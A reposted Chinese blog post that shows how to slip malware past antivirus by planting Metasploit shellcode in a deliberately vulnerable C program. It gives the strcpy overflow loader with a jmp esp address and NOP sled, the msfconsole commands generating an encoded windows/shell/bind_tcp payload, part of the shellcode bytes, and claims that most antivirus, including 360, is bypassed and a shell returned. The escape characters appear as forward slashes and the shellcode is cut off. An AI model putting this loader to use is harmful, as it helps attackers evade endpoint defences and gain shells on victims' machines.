转载

通过溢出漏洞绕过杀毒防护

思路

通过编写一具有溢出漏洞的程序,并将恶意代码写入 shellcode 中,溢出后执行 shellcode 可以绕过杀毒软件的防护。

测试环境

Platform:Windows XP SP3

Compiler:VC 6.0

测试代码

构造如下漏洞代码加载 shellcode:

#include <stdio.h>

#include <string.h>

void overflow( char * input)

{

char buf[ 4 ];

strcpy(buf, input);

}

void main()

{

char shellcode[] = "AAAAAAAA"

"/x7b/x46/x86/x7c" //jmp esp

"/x90/x90/x90/x90"

"/x90/x90/x90/x90"

"/x90/x90/x90/x90"

"/x90/x90/x90/x90"

"/x90/x90/x90/x90"

"shellcode"

"/x90/x90/x90/x90"

"/x90/x90/x90/x90"

"/x90/x90/x90/x90"

"/x90/x90/x90/x90"

"/x90/x90/x90/x90" ;

overflow(shellcode);

}

首先,通过 msfpayload 生成一 payload,进行查杀,发现大部分杀毒都会报毒:

通过溢出漏洞绕过杀毒防护

生成 shellcode,并填入源码中:

msf > use payload/windows/shell/bind_tcp

msf payload(bind_tcp) > generate -b '/x00' -t c

/*

* windows/shell/bind_tcp - 312 bytes (stage 1 )

* http://www.metasploit.com

* Encoder : x86/shikata_ga_nai

* VERBOSE = false , LPORT = 4444 , RHOST =,

* PayloadUUIDTracking = false , EnableStageEncoding = false ,

* StageEncoderSaveRegisters =, StageEncodingFallback = true ,

* PrependMigrate = false , EXITFUNC =none, InitialAutoRunScript =,

* AutoRunScript =

*/

unsigned char buf[] =

"/xbd/x81/xf6/x2c/x43/xd9/xe9/xd9/x74/x24/xf4/x58/x31/xc9/xb1"

"/x48/x83/xc0/x04/x31/x68/x0f/x03/x68/x8e/x14/xd9/xbf/x78/x5a"

"/x22/x40/x78/x3b/xaa/xa5/x49/x7b/xc8/xae/xf9/x4b/x9a/xe3/xf5"

"/x20/xce/x17/x8e/x45/xc7/x18/x27/xe3/x31/x16/xb8/x58/x01/x39"

······

编译后发现成功绕过绝大多数杀毒软件:

通过溢出漏洞绕过杀毒防护

成功返回 shell(test with 360):

通过溢出漏洞绕过杀毒防护 通过溢出漏洞绕过杀毒防护

其他

@糖果师傅说这个思路在 02 年的时候就已经被提出来个,但是不知道为什么还是可以用,估计原因是杀毒软件还是偏向于静态查杀?

附 2002 年 Xcon 上的相关资料: 溢出植入型木马(后门)的原型实现

正文到此结束
Loading...